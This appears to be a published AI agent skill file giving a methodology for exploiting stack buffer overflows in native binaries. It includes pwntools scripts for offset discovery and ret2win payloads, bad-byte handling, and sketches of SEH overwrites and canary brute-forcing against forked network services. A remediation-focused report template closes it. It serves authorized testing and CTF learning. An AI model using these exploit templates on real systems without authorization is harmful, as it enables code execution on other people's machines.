exploiting-stack-buffer-overflows

$npx mdskill add xalgord/xalgorix/exploiting-stack-buffer-overflows

- During authorized binary exploitation assessments, CTF-style engagements, or vulnerability research where a native program (ELF/PE) copies attacker-controlled data onto the stack without bounds checking. - When a target uses unsafe functions such as `strcpy`, `strcat`, `sprintf`, `gets`, or misuses length-taking functions like `fgets`, `read`, `memcpy`, or `sscanf` with an unbounded `%s`. - When a service crashes with a `Segmentation Fault` after large input, and you need to determine whether the saved return address (EIP/RIP) is controllable. - As the entry-point methodology that feeds into ret2win, stack shellcode, ret2libc, ret2syscall, and ROP techniques.

SKILL.md

.github/skills/exploiting-stack-buffer-overflowsView on GitHub ↗
---
name: exploiting-stack-buffer-overflows
description: Methodology for discovering and exploiting stack-based buffer overflows in native binaries during authorized
  engagements, covering crash triage, offset discovery with De Bruijn patterns, control of the saved return address, and
  escalation paths (ret2win, stack shellcode, ROP) depending on which mitigations are present.
domain: cybersecurity
subdomain: binary-exploitation
tags:
- binary-exploitation
- stack-overflow
- exploit-development
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting Stack Buffer Overflows

## When to Use

- During authorized binary exploitation assessments, CTF-style engagements, or vulnerability research where a native
  program (ELF/PE) copies attacker-controlled data onto the stack without bounds checking.
- When a target uses unsafe functions such as `strcpy`, `strcat`, `sprintf`, `gets`, or misuses length-taking functions
  like `fgets`, `read`, `memcpy`, or `sscanf` with an unbounded `%s`.
- When a service crashes with a `Segmentation Fault` after large input, and you need to determine whether the saved
  return address (EIP/RIP) is controllable.
- As the entry-point methodology that feeds into ret2win, stack shellcode, ret2libc, ret2syscall, and ROP techniques.

## Critical: Concepts/Steps Most Often Missed

- **The raw crash is not the win.** A `Segmentation Fault` from `A`*1000 only proves memory corruption. You must prove
  the saved return address is *under your control* before claiming RCE-class impact. Crashing inside a canary check is a
  DoS-only primitive, not control-flow hijack.
- **Forgetting the saved EBP/RBP.** The offset to the return address includes the buffer size **plus** the 4 bytes
  (x86) / 8 bytes (x64) of saved base pointer. The classic bug is `payload = b'A'*64 + ret` when the real offset is 72.
- **Bad bytes / NUL-byte addresses.** Non-PIE binaries are often mapped at low addresses (e.g. `0x00008000`), so gadget
  and function addresses embed `0x00`. Functions like `strcpy`/`gets`/`sscanf %s` stop at the first NUL. Enumerate bad
  bytes before building the chain, or use delimiter tricks (e.g. colon-delimited `sscanf` parsing) to place NULs.
- **Windows SEH path.** On 32-bit Windows the overflow may overwrite the SEH chain instead of the saved return address.
  Exploitation replaces the SEH handler with a `POP POP RET` gadget and uses the 4-byte nSEH for a short jump back into
  the buffer. Test for this when a straight EIP overwrite does not appear.
- **Forked-server canary brute force.** When a service forks per request (CGI workers), children share the parent
  canary/PIE slide, so you can brute-force the canary, saved RBP, and return address one byte at a time using the
  response (e.g. HTTP 200 vs 502) as an oracle.

### How to CONFIRM

Attach a debugger (`gdb` + pwndbg/GEF) and send a cyclic De Bruijn pattern. On crash, read the faulting instruction
pointer: if `$eip`/`$rip` (or `$pc` on ARM) contains a recognizable 4/8-byte slice of the pattern (e.g.
`0x6161616c` = `laaa`), control-flow hijack is **confirmed** and `pattern search` gives the exact offset. A crash where
the IP is intact but a read/write faults is *not* return-address control — keep investigating (it may be a write-what-where
or SEH case).

## Workflow

### Step 1: Triage the Crash and Profile the Binary

```bash
# What protections are in play? This drives the entire strategy.
pwn checksec ./vuln            # or: checksec --file=./vuln
# Look for: RELRO, Stack Canary, NX, PIE, RPATH

# Reproduce the crash with a large input
python3 -c 'print("A"*1000)' | ./vuln
# A SIGSEGV trying to access 0x41414141 (x86) strongly suggests RIP/EIP control
```

A binary with **No canary, No PIE, NX enabled** is the classic ROP target; **No canary, No NX, No PIE** allows stack
shellcode; an uncalled `win()` function points to ret2win.

### Step 2: Find the Offset to the Return Address

```bash
# Generate a unique cyclic pattern
pwn cyclic 200                 # or in GEF: pattern create 200
```

```python
from pwn import *
context.binary = elf = ELF('./vuln')

p = process('./vuln')
p.sendline(cyclic(200))
p.wait()

core = p.corefile
# x64: read the value that landed in RIP/RSP
fault = core.read(core.rsp, 8)            # bytes at crash-time RSP
offset = cyclic_find(fault[:8], n=8)      # n=8 for 64-bit
log.info("Offset to return address: %d", offset)
```

In GEF after the crash: `pattern search $rsp` (or `$eip` on 32-bit) prints the offset directly.

### Step 3: Build the Payload Based on Mitigations

```python
from pwn import *
context.binary = elf = ELF('./vuln')
offset = 72                      # buffer(64) + saved RBP(8) — confirmed in Step 2

# --- ret2win: no PIE, no canary, an uncalled win() exists ---
payload  = b'A' * offset
payload += p64(elf.symbols['win'])
# x86-64 movaps/stack-alignment fix: add a bare 'ret' gadget before win() if it crashes in libc
rop = ROP(elf)
payload  = b'A'*offset + p64(rop.find_gadget(['ret'])[0]) + p64(elf.symbols['win'])

io = process('./vuln')           # or remote('host', port)
io.sendline(payload)
io.interactive()
```

For NX-enabled targets, this stage instead produces a ROP chain (see the ROP and mitigation-bypass skills). For
NX-disabled + no-ASLR targets, place shellcode in the buffer and overwrite the return address with the stack address of
the shellcode (or use `ret2esp/ret2reg` under ASLR).

### Step 4: Handle Bad Bytes and Re-trigger the Vulnerability

```python
# Enumerate bad bytes the input function chokes on (NUL, \n, etc.)
badchars = b'\x00\x0a\x0d'
gadget = next(g for g in rop_gadgets if not any(b in p64(g) for b in badchars))

# Make a single bug reusable: return into main() or the vulnerable function again
payload = b'A'*offset + rop_chain + p64(elf.symbols['main'])
```

When addresses contain NULs and the copy stops on NUL, exploit delimiter-based parsers (e.g. each `:` in an `sscanf`
loop appends a trailing NUL) to plant multiple NUL bytes at chosen offsets.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Saved return address** | EIP/RIP value stored on the stack; overwriting it redirects control flow when the function returns. |
| **Saved base pointer** | EBP/RBP saved on the stack between the buffer and return address; must be accounted for in the offset. |
| **De Bruijn / cyclic pattern** | A sequence where every n-length subsequence is unique, used to compute the exact overflow offset from a single crash. |
| **ret2win** | Overwriting the return address with the address of an existing, never-called function (common in CTFs). |
| **Stack shellcode** | Placing shellcode on the stack and jumping to it; requires executable stack (NX off) or a jump gadget. |
| **Partial overwrite** | Overwriting only 1–2 low bytes of the return address to dodge ASLR (last 12 bits are page-aligned, ~1/16 chance per nibble). |
| **SEH overflow** | Windows-specific: overwriting the Structured Exception Handler chain instead of the return address. |
| **Canary brute force** | Recovering a stack canary byte-by-byte in forked servers that share the parent canary. |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **gdb + pwndbg/GEF** | Dynamic analysis, crash triage, `pattern create`/`pattern search`, register/stack inspection. |
| **pwntools** | Exploit scripting: `cyclic`, `cyclic_find`, `ELF`, `ROP`, `process`/`remote`, `p32`/`p64`, `shellcraft`. |
| **checksec** | Enumerate binary protections (RELRO, canary, NX, PIE). |
| **ROPgadget / ropper** | Find `ret`, `pop` gadgets for stack alignment and chain building. |
| **objdump / radare2 / Ghidra** | Locate function addresses (e.g. `objdump -d vuln | grep win`) and reverse the vulnerable routine. |
| **one_gadget** | Find single-shot `execve("/bin/sh")` gadgets in libc for ret2libc escalation. |

## Common Scenarios

### Scenario 1: Classic CTF ret2win
A 64-bit non-PIE binary calls `gets(buf)` on a 64-byte buffer and ships an unused `win()`. Offset is 72; payload is
`b'A'*72 + p64(ret_gadget) + p64(win)`. The `ret` gadget fixes 16-byte stack alignment so the `movaps` in libc-backed
`win()` does not fault.

### Scenario 2: Unauthenticated network overflow (sscanf)
An appliance parses `/__api__/v1/<endpoint>` with `sscanf(uri, "%*[^/]/%2s/%s", version, endpoint)`. The unbounded `%s`
copies past a 0x800-byte stack buffer, smashing the canary and return address. A 3000-byte path triggers a pre-auth crash;
with an info leak it escalates to code execution.

### Scenario 3: Windows SEH overflow to RCE
A 32-bit Windows service overflows past the SEH chain. The exploit sets nSEH to a short `jmp`, overwrites the SEH handler
with a `POP POP RET` from a non-SafeSEH module, and lands on a 5-byte near `jmp` that pivots hundreds of bytes back to the
shellcode.

### Scenario 4: Forked-server canary leak
A CGI worker forks per request and shares its canary. Treating the HTTP status as an oracle (200 = byte correct,
502 = crash), the exploit brute-forces the 8-byte canary, a saved stack pointer, and the return address, then builds an
arbitrary-write ROP chain to spawn a shell.

## Output Format

```
## Stack Buffer Overflow Finding

**Vulnerability**: Stack-based buffer overflow (CWE-121)
**Severity**: Critical (control-flow hijack) / High (DoS only if canary blocks)
**Binary**: /usr/src/app/vuln (x86-64, No PIE, No canary, NX enabled)
**Vulnerable Function**: vulnerable_function() -> gets(buf[64])

### Crash & Control Proof
- Input: cyclic(200)
- Crash IP ($rip): 0x6161616c61616161
- Offset to saved return address: 72 (64-byte buffer + 8-byte saved RBP)
- Control: $rip fully controlled (confirmed in gdb/pwndbg)

### Exploitation Path
ret2win — overwrote return address with win() @ 0x401216 (ret-gadget alignment prefix).
Payload: b'A'*72 + p64(0x40101a) + p64(0x401216)

### Impact
Arbitrary code execution as the service account; demonstrated by invoking win()/spawning /bin/sh.

### Recommendation
1. Replace unsafe functions (gets/strcpy/sprintf) with bounded equivalents (fgets/strncpy/snprintf).
2. Compile with -fstack-protector-strong, -D_FORTIFY_SOURCE=2, -fPIE -pie, and full RELRO.
3. Validate all input lengths against destination buffer sizes; never use sscanf "%s" without a width.
4. Enable ASLR and NX/DEP at the OS level.
```

More from xalgord/xalgorix